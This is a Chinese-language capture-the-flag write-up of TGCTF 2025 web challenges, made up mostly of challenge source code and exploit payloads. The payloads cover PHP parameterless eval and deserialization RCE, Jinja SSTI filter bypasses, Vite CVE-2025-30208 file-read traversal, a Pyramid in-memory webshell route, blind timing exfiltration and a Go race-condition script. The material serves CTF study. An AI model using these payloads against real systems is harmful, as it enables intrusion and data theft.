2025TGCTF Web WP复现
AAA 偷渡阴平
<?php$tgctf2025=$_GET['tgctf2025'];if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushieval($tgctf2025);
}
else{die('(╯‵□′)╯炸弹!•••*~●');
}highlight_file(__FILE__);
没有引号, 无法在函数里面传参, 用到无参数命令执行的点
?tgctf2025=eval(array_rand(array_flip(getallheaders())));
多执行几次
火眼辩魑魅
robots.txt
User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php
题目首页说了执行 shell, 直接看到 tgshell.php
<?php$shell=$_POST["shell"];{eval($shell);}
?>
执行了一下 phpinfo();
确实可以执行命令, 但是过滤了挺多, 开始还没绕过去
后面想到都给了 shell, 直接蚁剑连一下就可以了, 直接拿 flag
直面天命
读取文件
/aazz?filename=app.py
源码
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_keyapp = Flask(__name__)black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
def waf(name):for x in black_list:if x in name.lower():return Truereturn False
def is_typable(char):# 定义可通过标准 QWERTY 键盘输入的字符集typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespacereturn char in typable_chars@app.route('/')
def home():return send_from_directory('static', 'index.html')@app.route('/jingu', methods=['POST'])
def greet():template1=""template2=""name = request.form.get('name')template = f'{name}'if waf(name):template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'else:k=0for i in name:if is_typable(i):continuek=1breakif k==1:if not (secret_key[:2] in name and secret_key[2:]):template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'return render_template_string(template)template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"template= template.replace("直面","{{").replace("天命","}}")template = templateif "cat" in template:template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'try:return template1+render_template_string(template)+render_template_string(template2)except Exception as e:error_message = f"500报错了,查询语句如下:<br>{template}"return error_message, 400@app.route('/hint', methods=['GET'])
def hinter():template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"return render_template_string(template)@app.route('/aazz', methods=['GET'])
def finder():filename = request.args.get('filename', '')if filename == "":return send_from_directory('static', 'file.html')if not filename.replace('_', '').isalnum():content = jsonify({'error': '只允许字母和数字!'}), 400if os.path.isfile(filename):try:with open(filename, 'r') as file:content = file.read()return contentexcept Exception as e:return jsonify({'error': str(e)}), 500else:return jsonify({'error': '路径不存在或者路径非法'}), 404if __name__ == '__main__':app.run(host='0.0.0.0', port=80)
可以读 secret
/aazz?filename=a/b/c/d/secret.py
这样就可以正常 ssti 了, 自动给了{{}}
name=直面config天命根据源码的逻辑可能还是要改一下, 这里lipsum这个位置去执行, 需要一些绕过的手段
name=直面cat天命直面lipsum天命
最后的 payload:
name=直面cat天命直面lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat+/flag")|attr("\u0072\u0065\u0061\u0064")()天命
什么文件上传?
robots.txt
User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php
直接/class.php 打 php 反序列化就行
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {public $learn;public $study="study";public $try;public function __construct(){$this->learn = "learn<br>";}public function __destruct(){echo "You studied hard yesterday.<br>";return $this->study->hard(); //hard()不存在, 进入到__call, study=new today}
}
class today {public $doing;public $did;public $done;public function __construct(){$this->did = "What you did makes you outstanding.<br>";}public function __call($arg1, $arg2){$this->done = "And what you've done has given you a choice.<br>";echo $this->done;if(md5(md5($this->doing))==666){ //__toString(), doing=new future()return $this->doing();}else{return $this->doing->better;}}
}
class tommoraw {public $good;public $bad;public $soso;public function __invoke(){$this->good="You'll be good tommoraw!<br>";echo $this->good;}public function __get($arg1){$this->bad="You'll be bad tommoraw!<br>";}}
class future{private $impossible="How can you get here?<br>";private $out;private $no;public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;public function __set($arg1, $arg2) {if ($this->out->useful7) {echo "Seven is my lucky number<br>";system('whoami');}}public function __toString(){echo "This is your future.<br>";system($_POST["wow"]);return "win";}public function __destruct(){$this->no = "no";return $this->no;}
}
if (file_exists($_GET['filename'])){echo "Focus on the previous step!<br>";
}
else{$data=substr($_GET['filename'],0,-4);unserialize(best64_decode($data));
}//
$a=new yesterday();
$a->study = new today();
$a->study->doing = new future();
echo base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(serialize($a))))));
前端 GAME
CVE-2025-30208&31125: Vite 任意文件读取漏洞
也告诉了 flag 在 /tgflagggg
, 直接读
/@fs/tgflagggg?import&raw??
(ez)upload
一直没找到源码, dirsearch扫了几遍都没有
手动试了一下, 源码在 upload.php.bak
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");if (isset($_GET['name'])) {$file_name = $_GET['name'];} else {$file_name = basename($_FILES['name']['name']);}$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['name']['tmp_name'];$file_content = file_get_contents($temp_file);if (preg_match('/.+?</s', $file_content)) {$msg = '文件内容包含非法字符,禁止上传!';$status_code = 403; // 403 表示禁止访问} else {$img_path = UPLOAD_PATH . $file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;$msg = '文件上传成功!';} else {$msg = '上传出错!';$status_code = 500; // 500 表示服务器内部错误}}} else {$msg = '禁止保存为该类型文件!';$status_code = 403; // 403 表示禁止访问}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';$status_code = 404; // 404 表示资源未找到}
}// 设置 HTTP 状态码
http_response_code($status_code);// 输出结果
echo json_encode(['status_code' => $status_code,'msg' => $msg,
]);
比较经典
熟悉的配方,熟悉的味道
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoadereval_globals = { #防止eval执行恶意代码'__builtins__': {}, # 禁用所有内置函数'__import__': None # 禁止动态导入
}def checkExpr(expr_input):expr = re.split(r"[-+*/]", expr_input)print(exec(expr_input))if len(expr) != 2:return 0try:int(expr[0])int(expr[1])except:return 0return 1def home_view(request):expr_input = ""result = ""if request.method == 'POST':expr_input = request.POST['expr']if checkExpr(expr_input):try:result = eval(expr_input, eval_globals)except Exception as e:result = eelse:result = "爬!"template_str = 【xxx】env = Environment(loader=BaseLoader())template = env.from_string(template_str)rendered = template.render(expr_input=expr_input, result=result)return Response(rendered)if __name__ == '__main__':with Configurator() as config:config.add_route('home_view', '/')config.add_view(home_view, route_name='home_view')app = config.make_wsgi_app()server = make_server('0.0.0.0', 9040, app)server.serve_forever()
检查之前可以执行exec, 没有过滤
def checkExpr(expr_input):expr = re.split(r"[-+*/]", expr_input)print(exec(expr_input))
没有回显, 写文件, 不过这里没有一些静态文件可以查看, 应该不行
反弹shell , 本地可以, 题目不行, 应该不出网
可以时间盲注
import requests
import time
import stringurl = "http://127.0.0.1:33632/"flag = ""
for i in range(50):found = Falsefor char in string.printable:print(char)payload = f"""
import os,time
a=os.popen('cat /fl*').read()
if len(a) > {i} and a[{i}]== '{char}' :time.sleep(5)
"""start = time.time()requests.post(url, data={"expr": payload})end = time.time()if end - start > 5:flag += charprint(f"位置 {i + 1}: {char}, 当前flag: {flag}")found = Truebreakif not found:breakprint("最终flag:", flag)
环境太慢了, 就不继续跑了
可以打内存马
根据原程序代码的构造, 先拿到config, app
expr=import sys;main=sys.modules['__main__'];print(dir(main))
拿到了config 和app, 添加路由
add_route 第一个参数是路由名, 第二个是路由路径
add_view的第一个参数是一个实现函数, 可以用匿名函数来实现, 第二个参数是路由名
Response表示请求路由后的回显结果
比如:
expr=import sys;config=sys.modules['__main__'].config;app=sys.modules['__main__'].app;
config.add_route('cmd','/xpw');config.add_view(lambda a:Response("hello 111"),route_name='cmd');
app = config.make_wsgi_app()
现在就可以构造实现rce了
request
是一个 请求对象,它封装了来自客户端的 HTTP 请求信息
request.params
:包含查询字符串(如 ?key=value
)和 POST 数据的合并结果。
expr=import sys;config=sys.modules['__main__'].config;app=sys.modules['__main__'].app;
config.add_route('cmd','/cmd');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('cmd')).read()),route_name='cmd');
app = config.make_wsgi_app()
本地可以打通了, 直接用这个payload打题目环境就行
看题目环境里面有static静态目录, 就想尝试看看能不能写入文件
expr=import+os;os.system("ls >/app/stati/1.txt")
可以发现确实是可以写入的, 但是无法直接通过路由 /static/1.txt 访问, 一般应该是可以访问的,这里可能做了一些限制?
通过http的协议头回显
https://xz.aliyun.com/news/16143
expr=import+os;built=re.split.__globals__['__builtins__'];setattr=built['setattr'];serverHandler=built['__import__']('wsgiref').simple_server.ServerHandler;setattr(serverHandler,"http_version",os.popen("whoami").read());
本地可以测试成功
但是题目环境竟然不行, 有点奇怪
尝试500报错
expr=import+os;built=re.split.__globals__['__builtins__'];setattr=built['setattr'];baseHandler=built['__import__']('wsgiref').handlers.BaseHandler;setattr(baseHandler,"error_body",os.popen("whoami").read().encode());
本地依旧是可行的
题目环境依旧不行, 有点奇怪
直面天命(复仇)
过滤的更多了
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_keyapp = Flask(__name__)black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):for x in black_list:if x in name.lower():return Truereturn False
def is_typable(char):# 定义可通过标准 QWERTY 键盘输入的字符集typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespacereturn char in typable_chars@app.route('/')
def home():return send_from_directory('static', 'index.html')@app.route('/jingu', methods=['POST'])
def greet():template1=""template2=""name = request.form.get('name')template = f'{name}'if waf(name):template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'else:k=0for i in name:if is_typable(i):continuek=1breakif k==1:if not (secret_key[:2] in name and secret_key[2:]):template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧再去西行历练历练Image'return render_template_string(template)template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"template= template.replace("天命","{{").replace("难违","}}")template = templateif "cat" in template:template2 = '
或许你这只叫天命人的猴子,真的能做到?Image'try:return template1+render_template_string(template)+render_template_string(template2)except Exception as e:error_message = f"500报错了,查询语句如下:
{template}"return error_message, 400@app.route('/hint', methods=['GET'])
def hinter():template="hint:
有一个aazz路由,去那里看看吧,天命人!"return render_template_string(template)@app.route('/aazz', methods=['GET'])
def finder():with open(__file__, 'r') as f:source_code = f.read()return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}if __name__ == '__main__':app.run(host='0.0.0.0', port=80)
使用 16 进制绕一下就行
name=天命''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[132]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x70\x6f\x70\x65\x6e"]("\x63\x61\x74\x20\x2f\x74\x67\x66\x66\x66\x66\x31\x31\x31\x31\x31\x61\x61\x61\x61\x67\x67\x67\x67\x67\x67\x67\x67")['re''ad']()难违天命cat难违
AAA 偷渡阴平(复仇)
不让用无参 rce 了
<?php$tgctf2025=$_GET['tgctf2025'];if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushieval($tgctf2025);
}
else{die('(╯‵□′)╯炸弹!•••*~●');
}highlight_file(__FILE__);
能用的就是
2, !, 字母, (), |
理论上应该是可以通过PCRE回溯次数限制绕过preg_match, 只要超过100万就行, 但是这个题目估计有啥限制没成功
可以用的session_id()
控制cookie中的PHPSESSID
?tgctf2025=session_start();system(hex2bin(session_id()));
有点搞不懂这个, 题目环境是nginx的, 为什么还可以用这个函数apache_request_headers()
,有点不理解
/?tgctf2025=system(hex2bin(key(apache_request_headers())));
前端GAME plus
/@fs/app/?../../../tgflagggg?import&?raw/@fs/tgflagggg?import&?meteorkai.svg?.wasm?init
这个payload拿到的文件内容需要base64解码
前端GAME Ultra
https://mp.weixin.qq.com/s/HMhzXqSplWa-IwpftxwTiA
需要知道Vite所在的绝对路径
先随便访问一个, 允许的是/app, 那么这个大概就是其路径所在了
直接利用payload读文件 ( 直接在浏览器请求没有作用 )
/@fs/app/#/../../../../../etc/passwd
默认的flag文件是tgflagggg
/@fs/app/#/../../../../../tgflagggg但是也可以考虑通过环境变量读取
/@fs/app/#/../../../../../proc/self/envir
老登,炸鱼来了?
package mainimport ("fmt""io""log""net/http""os""path/filepath""strings""text/template""time"
)type Note struct {Name stringModTime stringSize int64IsMarkdown bool
}var templates = template.Must(template.ParseGlob("templates/*"))type PageData struct {Notes []NoteError string
}func blackJack(path string) error {if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {return fmt.Errorf("非法路径")}return nil
}func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {safe := templates.ExecuteTemplate(w, tmpl, data)if safe != nil {http.Error(w, safe.Error(), http.StatusInternalServerError)}
}func renderError(w http.ResponseWriter, message string, code int) {w.WriteHeader(code)templates.ExecuteTemplate(w, "error.html", map[string]interface{}{"Code": code,"Message": message,})
}func main() {os.Mkdir("notes", 0755)safe := blackJack("/flag") //错误示范,return fmt.Errorf("非法路径")http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {files, safe := os.ReadDir("notes")if safe != nil {renderError(w, "无法读取目录", http.StatusInternalServerError)return}var notes []Notefor _, f := range files {if f.IsDir() {continue}info, _ := f.Info()notes = append(notes, Note{Name: f.Name(),ModTime: info.ModTime().Format("2006-01-02 15:04"),Size: info.Size(),IsMarkdown: strings.HasSuffix(f.Name(), ".md"),})}renderTemplate(w, "index.html", PageData{Notes: notes})})http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {name := r.URL.Query().Get("name")if safe = blackJack(name); safe != nil {renderError(w, safe.Error(), http.StatusBadRequest)return}file, safe := os.Open(filepath.Join("notes", name))if safe != nil {renderError(w, "文件不存在", http.StatusNotFound)return}data, safe := io.ReadAll(io.LimitReader(file, 10240))if safe != nil {renderError(w, "读取失败", http.StatusInternalServerError)return}if strings.HasSuffix(name, ".md") {w.Header().Set("Content-Type", "text/html")fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css"></head><body class="markdown-body">%s</body></html>`, data)} else {w.Header().Set("Content-Type", "text/plain")w.Write(data)}})http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {if r.Method != "POST" {renderError(w, "方法不允许", http.StatusMethodNotAllowed)return}name := r.FormValue("name")content := r.FormValue("content")if safe = blackJack(name); safe != nil {renderError(w, safe.Error(), http.StatusBadRequest)return}if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {name += ".md"} else {name += ".txt"}if len(content) > 10240 {content = content[:10240]}safe := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)if safe != nil {renderError(w, "保存失败", http.StatusInternalServerError)return}http.Redirect(w, r, "/", http.StatusSeeOther)})http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {name := r.URL.Query().Get("name")if safe = blackJack(name); safe != nil {renderError(w, safe.Error(), http.StatusBadRequest)return}safe := os.Remove(filepath.Join("notes", name))if safe != nil {renderError(w, "删除失败", http.StatusInternalServerError)return}http.Redirect(w, r, "/", http.StatusSeeOther)})// 静态文件服务http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))srv := &http.Server{Addr: ":9046",ReadTimeout: 10 * time.Second,WriteTimeout: 15 * time.Second,}log.Fatal(srv.ListenAndServe())
}
没学过go, 跟着wp浅浅的理解一下这道题的思路
因为go的语言特性的原因
:= 表示声明一个变量以及给这个变量赋值
= 表示给一个变量赋值
区别就是 `:=` 相当于新建了一个变量, 而=是给一个以及存在的变量赋值
而对于这道题目, 想要拿到flag, 就是要读取文件, 需要路径穿越, 但是有waf, 不让用..
/
也绕不过去, 想要读flag文件肯定是需要../
的
func blackJack(path string) error {if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {return fmt.Errorf("非法路径")}return nil
}
而源码里面
if safe = blackJack(name); safe != nil {renderError(w, safe.Error(), http.StatusBadRequest)return}
safe = blackJack(name)
, 说明此时safe是一个已经存在的一个变量
那么这里就可以存在一个条件竞争的一个很短的时间点
当给name
随便传入一个不在黑名单的参数, safe
被赋值为nil
当并发执行的时候, 可能就会存在另外一个线程 ,给name传参 ../../../flag
而此时的safe还是前面赋值的nil
我对这里的理解就是, 传入的非法name,经过blackJack()检查之后, 给safe赋值"非法路径"
此时另外一个线程也正好就比它晚一点点,对合法的name经过blackJack()检查, 给safe赋值"nil", 那么现在的safe在还没判断之前就从"非法路径"更新为"nil"了, 就通过了 safe!=nil的判断, 就可以进入到后面读取文件并返回内容了
而如果这里的是safe:=blackJack(name), 那么就是每个线程都是自己的独立的变量了, 其他的线程访问不了, 类似于加锁, 就无法条件竞争了
官方wp的脚本
import aiohttp
import asyncio
import timeclass Solver:def __init__(self, baseUrl):self.baseUrl = baseUrlself.READ_FILE_ENDPOINT = f'{self.baseUrl}'self.VALID_CHECK_PARAMETER = '/read?name=1'self.INVALID_CHECK_PARAMETER = '/read?name= / / /flag'self.RACE_CONDITION_JOBS = 100async def raceValidationCheck(self, session, parameter):url = f'{self.READ_FILE_ENDPOINT}{parameter}'async with session.get(url) as response:return await response.text()async def raceCondition(self, session):tasks = list()for _ in range(self.RACE_CONDITION_JOBS):tasks.append(self.raceValidationCheck(session, self.VALID_CHECK_PARAMETER))tasks.append(self.raceValidationCheck(session, self.INVALID_CHECK_PARAMETER))return await asyncio.gather(*tasks)async def solve(self):async with aiohttp.ClientSession() as session:attempts = 1finishedRaceConditionJobs = 0while True:print(f'[*] Attempts: {attempts} - Finished race condition jobs: {finishedRaceConditionJobs}')results = await self.raceCondition(session)attempts += 1finishedRaceConditionJobs += self.RACE_CONDITION_JOBSfor result in results:if 'TGCTF{' not in result:continueprint(f'\n[+] We won the race window! Flag: {result.strip()}')exit(0)if __name__ == '__main__':baseUrl = 'http://127.0.0.1:30604//'solver = Solver(baseUrl)asyncio.run(solver.solve())
爆不出, 放弃